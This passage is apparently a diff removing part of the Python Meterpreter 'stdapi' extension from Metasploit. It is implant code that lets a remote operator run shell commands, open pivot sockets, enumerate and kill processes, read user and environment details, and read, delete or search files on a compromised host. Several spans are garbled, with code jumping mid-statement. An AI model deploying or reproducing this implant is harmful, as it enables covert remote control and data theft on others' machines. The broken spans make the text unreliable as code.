2540 -TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541 -TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542 -TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550 - -## -# Ui -## -TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000 -TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001 -TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002 - -## -# Event Log -## -TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000 -TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001 -TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002 - -TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003 -TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004 - -TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006 -TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007 -TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008 -TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009 -TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010 -TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011 -TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012 -TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013 - -## -# Power -## -TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100 -TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101 - -## -# Sys -## -PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0) -PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1) -PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2) -PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3) - -PROCESS_ARCH_UNKNOWN = 0 -PROCESS_ARCH_X86 = 1 -PROCESS_ARCH_X64 = 2 -PROCESS_ARCH_IA64 = 3 - -## -# Errors -## -ERROR_SUCCESS = 0 -# not defined in original C implementation -ERROR_FAILURE = 1 - -# Special return value to match up with Windows error codes for network -# errors. -ERROR_CONNECTION_ERROR = 10000 - -# Windows Constants -GAA_FLAG_SKIP_ANYCAST = 0x0002 -GAA_FLAG_SKIP_MULTICAST = 0x0004 -GAA_FLAG_INCLUDE_PREFIX = 0x0010 -GAA_FLAG_SKIP_DNS_SERVER = 0x0080 -PROCESS_TERMINATE = 0x0001 -PROCESS_VM_READ = 0x0010 -PROCESS_QUERY_INFORMATION = 0x0400 -PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 - -WIN_AF_INET = 2 -WIN_AF_INET6 = 23 - -# Linux Constants -RTM_GETLINK = 18 -RTM_GETADDR = 22 -RTM_GETROUTE = 26 - -IFLA_ADDRESS = 1 -IFLA_BROADCAST = 2 -IFLA_IFNAME = 3 -IFLA_MTU = 4 - -IFA_ADDRESS = 1 -IFA_LABEL = 3 - -meterpreter.register_extension('stdapi') - -def calculate_32bit_netmask(bits): - if bits == 32: - return 0xffffffff - return ((0xffffffff << (32-(bits%32))) & 0xffffffff) - -def cstruct_unpack(structure, raw_data): - if not isinstance(structure, ctypes.Structure): - structure = structure() - ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure)) - return structure - -def get_stat_buffer(path): - si = os.stat(path) - rdev = 0 - if hasattr(si, 'st_rdev'): - rdev = si.st_rdev - blksize = 0 - if hasattr(si, 'st_blksize'): - blksize = si.st_blksize - blocks = 0 - if hasattr(si, 'st_blocks'): - blocks = si.st_blocks - st_buf = struct.pack('> 8) - dwBuild = ((dwVersion & 0xffff0000) >> 16) - return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild)) - -@meterpreter.register_function -def channel_open_stdapi_fs_file(request, response): - fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE) - if fmode: - fmode = fmode['value'] - fmode = fmode.replace('bb', 'b') - else: - fmode = 'rb' - file_h = open(unicode(fpath), fmode) - channel_id = meterpreter.add_channel(MeterpreterFile(file_h)) - response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def channel_open_stdapi_net_tcp_client(request, response): - host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value'] - port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value'] - local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST) - local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT) - retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1) - connected = False - for i in range(retries + 1): - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3.0) - if local_host.get('value') and local_port.get('value'): - sock.bind((local_host['value'], local_port['value'])) - try: - sock.connect((host, port)) - connected = True - break - except: - pass - if not connected: - return ERROR_CONNECTION_ERROR, response - channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock)) - response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def channel_open_stdapi_net_tcp_server(request, response): - local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0') - local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value'] - server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - server_sock.bind((local_host, local_port)) - server_sock.listen(socket.SOMAXCONN) - channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock)) - response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_config_getenv(request, response): - for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE): - pgroup = bytes() - env_var = env_var['value'] - env_var = env_var.replace('%', '') - env_var = env_var.replace('$', '') - env_val = os.environ.get(env_var) - if env_val: - pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var) - pgroup += tlv_pack(TLV_TYPE_ENV_VALUE, env_val) - response += tlv_pack(TLV_TYPE_ENV_GROUP, pgroup) - return ERROR_SUCCESS, response - -@meterpreter.register_function_windll -def stdapi_sys_config_getsid(request, response): - token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess()) - if not token: - return error_result_windows(), response - sid_str = ctypes.c_char_p() - if not ctypes.windll.advapi32.ConvertSidToStringSidA(token.User.Sid, ctypes.byref(sid_str)): - return error_result_windows(), response - sid_str = str(ctypes.string_at(sid_str)) - response += tlv_pack(TLV_TYPE_SID, sid_str) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_config_getuid(request, response): - if has_pwd: - username = pwd.getpwuid(os.getuid()).pw_name - elif has_windll: - token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess()) - if not token: - return error_result_windows(), response - username = get_username_from_token(token) - if not username: - return error_result_windows(), response - else: - username = getpass.getuser() - response += tlv_pack(TLV_TYPE_USER_NAME, username) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_config_sysinfo(request, response): - uname_info = platform.uname() - response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1]) - response += tlv_pack(TLV_TYPE_OS_NAME, uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3]) - arch = uname_info[4] - if has_windll: - arch = windll_GetNativeSystemInfo() - if arch == PROCESS_ARCH_IA64: - arch = 'IA64' - elif arch == PROCESS_ARCH_X64: - arch = 'x86_64' - elif arch == PROCESS_ARCH_X86: - arch = 'x86' - else: - arch = uname_info[4] - response += tlv_pack(TLV_TYPE_ARCHITECTURE, arch) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_process_close(request, response): - proc_h_id = packet_get_tlv(request, TLV_TYPE_HANDLE) - if not proc_h_id: - return ERROR_SUCCESS, response - proc_h_id = proc_h_id['value'] - del meterpreter.processes[proc_h_id] - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_process_execute(request, response): - cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value'] - raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS) - if raw_args: - raw_args = raw_args['value'] - else: - raw_args = "" - flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value'] - if len(cmd) == 0: - return ERROR_FAILURE, response - if os.path.isfile('/bin/sh'): - args = ['/bin/sh', '-c', cmd + ' ' + raw_args] - else: - args = [cmd] - args.extend(shlex.split(raw_args)) - if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED): - if has_pty: - master, slave = pty.openpty() - if has_termios: - settings = termios.tcgetattr(master) - settings[3] = settings[3] & ~termios.ECHO - termios.tcsetattr(master, termios.TCSADRAIN, settings) - proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0) - proc_h.stdin = os.fdopen(master, 'wb') - proc_h.stdout = os.fdopen(master, 'rb') - proc_h.stderr = open(os.devnull, 'rb') - else: - proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - proc_h.echo_protection = True - proc_h.start() - else: - proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - proc_h_id = meterpreter.add_process(proc_h) - response += tlv_pack(TLV_TYPE_PID, proc_h.pid) - response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id) - if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED): - channel_id = meterpreter.add_channel(proc_h) - response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_process_getpid(request, response): - response += tlv_pack(TLV_TYPE_PID, os.getpid()) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_process_kill(request, response): - for pid in packet_enum_tlvs(request, TLV_TYPE_PID): - pid = pid['value'] - if has_windll: - k32 = ctypes.windll.kernel32 - proc_h = k32.OpenProcess(PROCESS_TERMINATE, False, pid) - if not proc_h: - return error_result_windows(), response - if not k32.TerminateProcess(proc_h, 0): - return error_result_windows(), response - elif hasattr(os, 'kill'): - os.kill(pid, 9) - else: - return ERROR_FAILURE, response - return ERROR_SUCCESS, response - -def stdapi_sys_process_get_processes_via_proc(request, response): - for pid in os.listdir('/proc'): - pgroup = bytes() - if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit(): - continue - cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb') - cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8'))) - status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read()) - status_data = map(lambda x: x.split('\t',1), status_data.split('\n')) - status = {} - for k, v in filter(lambda x: len(x) == 2, status_data): - status[k[:-1]] = v.strip() - ppid = status.get('PPid') - uid = status.get('Uid').split('\t', 1)[0] - if has_pwd: - uid = pwd.getpwuid(int(uid)).pw_name - if cmd: - pname = os.path.basename(cmd.split(' ', 1)[0]) - ppath = cmd - else: - pname = '[' + status['Name'] + ']' - ppath = '' - pgroup += tlv_pack(TLV_TYPE_PID, int(pid)) - if ppid: - pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid)) - pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid) - pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname) - pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath) - response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) - return ERROR_SUCCESS, response - -def stdapi_sys_process_get_processes_via_ps(request, response): - ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command'] - proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - ps_output = str(proc_h.stdout.read()) - ps_output = ps_output.split('\n') - ps_output.pop(0) - for process in ps_output: - process = process.split() - if len(process) < 4: - break - pgroup = bytes() - pgroup += tlv_pack(TLV_TYPE_PID, int(process[0])) - pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1])) - pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2]) - pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3])) - pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:])) - response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) - return ERROR_SUCCESS, response - -def stdapi_sys_process_get_processes_via_windll(request, response): - TH32CS_SNAPPROCESS = 2 - TOKEN_QUERY = 0x0008 - TokenUser = 1 - k32 = ctypes.windll.kernel32 - pe32 = PROCESSENTRY32() - pe32.dwSize = ctypes.sizeof(PROCESSENTRY32) - proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) - result = k32.Process32First(proc_snap, ctypes.byref(pe32)) - if not result: - return error_result_windows(), response - while result: - proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID) - if not proc_h: - proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID) - exe_path = (ctypes.c_char * 1024)() - success = False - if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'): - success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path)) - elif hasattr(k32, 'GetModuleFileNameExA'): - success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path)) - if not success and hasattr(k32, 'QueryFullProcessImageNameA'): - dw_sz = ctypes.c_uint32() - dw_sz.value = ctypes.sizeof(exe_path) - success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz)) - if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'): - success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path)) - if success: - exe_path = ctypes.string_at(exe_path) - else: - exe_path = '' - process_username = '' - process_token_user = get_token_user(proc_h) - if process_token_user: - process_username = get_username_from_token(process_token_user) or '' - parch = windll_GetNativeSystemInfo() - is_wow64 = ctypes.c_ubyte() - is_wow64.value = 0 - if hasattr(k32, 'IsWow64Process'): - if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)): - if is_wow64.value: - parch = PROCESS_ARCH_X86 - pgroup = bytes() - pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID) - pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID) - pgroup += tlv_pack(TLV_TYPE_USER_NAME, process_username) - pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile) - pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path) - pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch) - response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) - result = k32.Process32Next(proc_snap, ctypes.byref(pe32)) - k32.CloseHandle(proc_h) - k32.CloseHandle(proc_snap) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_process_get_processes(request, response): - if os.path.isdir('/proc'): - return stdapi_sys_process_get_processes_via_proc(request, response) - elif has_windll: - return stdapi_sys_process_get_processes_via_windll(request, response) - else: - return stdapi_sys_process_get_processes_via_ps(request, response) - return ERROR_FAILURE, response - -@meterpreter.register_function -def stdapi_fs_chdir(request, response): - wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] - os.chdir(unicode(wd)) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_delete(request, response): - file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value'] - os.unlink(unicode(file_path)) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_delete_dir(request, response): - dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] - dir_path = unicode(dir_path) - if os.path.islink(dir_path): - del_func = os.unlink - else: - del_func = shutil.rmtree - del_func(dir_path) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_delete_file(request, response): - file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - os.unlink(unicode(file_path)) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_file_expand_path(request, response): - path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - if has_windll: - path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8')) - path_out = (ctypes.c_char * 4096)() - path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out)) - result = str(ctypes.string_at(path_out)) - elif path_tlv == '%COMSPEC%': - result = '/bin/sh' - elif path_tlv in ['%TEMP%', '%TMP%']: - result = '/tmp' - else: - result = os.getenv(path_tlv, path_tlv) - if not result: - return ERROR_FAILURE, response - response += tlv_pack(TLV_TYPE_FILE_PATH, result) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_file_move(request, response): - oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value'] - newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - os.rename(unicode(oldname), unicode(newname)) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_getwd(request, response): - if hasattr(os, 'getcwdu'): - wd = os.getcwdu() - else: - wd = os.getcwd() - response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_ls(request, response): - path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] - path = os.path.abspath(unicode(path)) - glob = '*' - if any((c in ['*','[','?']) for c in path): - glob = os.path.basename(path) - path = os.path.dirname(path) - for file_name in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(path)): - file_path = os.path.join(path, file_name) - response += tlv_pack(TLV_TYPE_FILE_NAME, file_name) - response += tlv_pack(TLV_TYPE_FILE_PATH, file_path) - response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(file_path)) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_md5(request, response): - try: - import hashlib - m = hashlib.md5() - except ImportError: - import md5 - m = md5.new() - path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - m.update(open(path, 'rb').read()) - response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest()) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_mkdir(request, response): - dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] - dir_path = unicode(dir_path) - if not os.path.isdir(dir_path): - os.mkdir(dir_path) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_search(request, response): - search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.') - search_root = ('' or '.') # sometimes it's an empty string - search_root = unicode(search_root) - glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value'] - recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value'] - if recurse: - for root, dirs, files in os.walk(search_root): - for f in filter(lambda f: fnmatch.fnmatch(f, glob), files): - file_tlv = '' - file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root) - file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f) - file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(root, f)).st_size) - response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv) - else: - for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)): - file_tlv = '' - file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root) - file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f) - file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(search_root, f)).st_size) - response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_separator(request, response): - response += tlv_pack(TLV_TYPE_STRING, os.sep) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_sha1(request, response): - try: - import hashlib - m = hashlib.sha1() - except ImportError: - import sha - m = sha.new() - path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - m.update(open(path, 'rb').read()) - response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest()) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_stat(request, response): - path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - st_buf = get_stat_buffer(unicode(path)) - response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_net_config_get_interfaces(request, response): - if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'): - interfaces = stdapi_net_config_get_interfaces_via_netlink() - elif has_osxsc: - interfaces = stdapi_net_config_get_interfaces_via_osxsc() - elif has_windll: - interfaces = stdapi_net_config_get_interfaces_via_windll() - else: - return ERROR_FAILURE, response - for iface_info in interfaces: - iface_tlv = bytes() - iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown')) - iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00')) - if 'mtu' in iface_info: - iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu']) - if 'flags' in iface_info: - iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags']) - iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index']) - for address in iface_info.get('addrs', []): - iface_tlv += tlv_pack(TLV_TYPE_IP, address[1]) - if isinstance(address[2], (int, long)): - iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2]) - else: - iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2]) - response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv) - return ERROR_SUCCESS, response - -def stdapi_net_config_get_interfaces_via_netlink(): - rta_align = lambda l: l+3 & ~3 - iface_flags = { - 0x0001: 'UP', - 0x0002: 'BROADCAST', - 0x0008: 'LOOPBACK', - 0x0010: 'POINTTOPOINT', - 0x0040: 'RUNNING', - 0x0100: 'PROMISC', - 0x1000: 'MULTICAST' - } - iface_flags_sorted = list(iface_flags.keys()) - # Dictionaries don't maintain order - iface_flags_sorted.sort() - interfaces = {} - - responses = netlink_request(RTM_GETLINK) - for res_data in responses: - iface = cstruct_unpack(IFINFOMSG, res_data) - iface_info = {'index':iface.index} - flags = [] - for flag in iface_flags_sorted: - if (iface.flags & flag): - flags.append(iface_flags[flag]) - iface_info['flags'] = ' '.join(flags) - cursor = ctypes.sizeof(IFINFOMSG) - while cursor < len(res_data): - attribute = cstruct_unpack(RTATTR, res_data[cursor:]) - at_len = attribute.len - attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)] - cursor += rta_align(at_len) - - if attribute.type == IFLA_ADDRESS: - iface_info['hw_addr'] = attr_data - elif attribute.type == IFLA_IFNAME: - iface_info['name'] = attr_data - elif attribute.type == IFLA_MTU: - iface_info['mtu'] = struct.unpack('= 96: - netmask = struct.pack('!iiiI', -1, -1, -1, calculate_32bit_netmask(nm_bits)) - elif nm_bits >= 64: - netmask = struct.pack('!iiII', -1, -1, calculate_32bit_netmask(nm_bits), 0) - elif nm_bits >= 32: - netmask = struct.pack('!iIII', -1, calculate_32bit_netmask(nm_bits), 0, 0) - else: - netmask = struct.pack('!IIII', calculate_32bit_netmask(nm_bits), 0, 0, 0) - addr_list = iface_info.get('addrs', []) - addr_list.append((iface.family, attr_data, netmask)) - iface_info['addrs'] = addr_list - elif attribute.type == IFA_LABEL: - iface_info['name'] = attr_data - interfaces[iface.index] = iface_info - return interfaces.values() - -def stdapi_net_config_get_interfaces_via_osxsc(): - ds = osxsc.SCDynamicStoreCreate(None, 'GetInterfaceInformation', None, None) - entities = [] - entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv4)) - entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv6)) - patterns = osxsc.CFArrayCreate(None, entities, len(entities), osxsc.kCFTypeArrayCallBacks) - values = osxsc.SCDynamicStoreCopyMultiple(ds, None, patterns) - interfaces = {} - for key, value in values.items(): - iface_name = key.split('/')[3] - iface_info = interfaces.get(iface_name, {}) - iface_info['name'] = str(iface_name) - if key.endswith('IPv4'): - family = socket.AF_INET - elif key.endswith('IPv6'): - family = socket.AF_INET6 - else: - continue - iface_addresses = iface_info.get('addrs', []) - for idx in range(len(value['Addresses'])): - if family == socket.AF_INET: - iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), inet_pton(family, value['SubnetMasks'][idx]))) - else: - iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), value['PrefixLength'][idx])) - iface_info['addrs'] = iface_addresses - interfaces[iface_name] = iface_info - for iface_ref in osxsc.SCNetworkInterfaceCopyAll(): - iface_name = osxsc.SCNetworkInterfaceGetBSDName(iface_ref) - if not iface_name in interfaces: - iface_type = osxsc.SCNetworkInterfaceGetInterfaceType(iface_ref) - if not iface_type in ['Ethernet', 'IEEE80211']: - continue - interfaces[iface_name] = {'name': str(iface_name)} - iface_info = interfaces[iface_name] - mtu = osxsc.SCNetworkInterfaceCopyMTU(iface_ref, None, None, None)[1] - iface_info['mtu'] = mtu - hw_addr = osxsc.SCNetworkInterfaceGetHardwareAddressString(iface_ref) - if hw_addr: - hw_addr = hw_addr.replace(':', '') - hw_addr = hw_addr.decode('hex') - iface_info['hw_addr'] = hw_addr - ifnames = list(interfaces.keys()) - ifnames.sort() - for iface_name, iface_info in interfaces.items(): - iface_info['index'] = ifnames.index(iface_name) - return interfaces.values() - -def stdapi_net_config_get_interfaces_via_windll(): - iphlpapi = ctypes.windll.iphlpapi - if not hasattr(iphlpapi, 'GetAdaptersAddresses'): - return stdapi_net_config_get_interfaces_via_windll_mib() - Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST) - AdapterAddresses = ctypes.c_void_p() - SizePointer = ctypes.c_ulong() - SizePointer.value = 0 - iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer)) - AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)() - iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer)) - AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value) - AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses) - if AdapterAddresses.u.s.Length <= 72: - return stdapi_net_config_get_interfaces_via_windll_mib() - win_version = windll_GetVersion() - interfaces = [] - pAdapterAddresses = ctypes.byref(AdapterAddresses) - while pAdapterAddresses: - AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses) - pAdapterAddresses = AdapterAddresses.Next - pFirstPrefix = AdapterAddresses.FirstPrefix - iface_info = {} - iface_info['index'] = AdapterAddresses.u.s.IfIndex - if AdapterAddresses.PhysicalAddressLength: - iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength) - iface_desc = ctypes.wstring_at(AdapterAddresses.Description) - if not is_str(iface_desc): - iface_desc = str(iface_desc) - iface_info['name'] = iface_desc - iface_info['mtu'] = AdapterAddresses.Mtu - pUniAddr = AdapterAddresses.FirstUnicastAddress - while pUniAddr: - UniAddr = cstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr) - pUniAddr = UniAddr.Next - address = cstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr) - if not address.sa_family in (socket.AF_INET, socket.AF_INET6): - continue - prefix = 0 - if win_version.dwMajorVersion >= 6: - prefix = UniAddr.OnLinkPrefixLength - elif pFirstPrefix: - ip_adapter_prefix = 'QPPIL' - prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix)) - prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4] - iface_addresses = iface_info.get('addrs', []) - if address.sa_family == socket.AF_INET: - iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix)) - else: - iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix)) - iface_info['addrs'] = iface_addresses - interfaces.append(iface_info) - return interfaces - -def stdapi_net_config_get_interfaces_via_windll_mib(): - iphlpapi = ctypes.windll.iphlpapi - table = (ctypes.c_uint8 * (ctypes.sizeof(MIB_IPADDRROW) * 33))() - pdwSize = 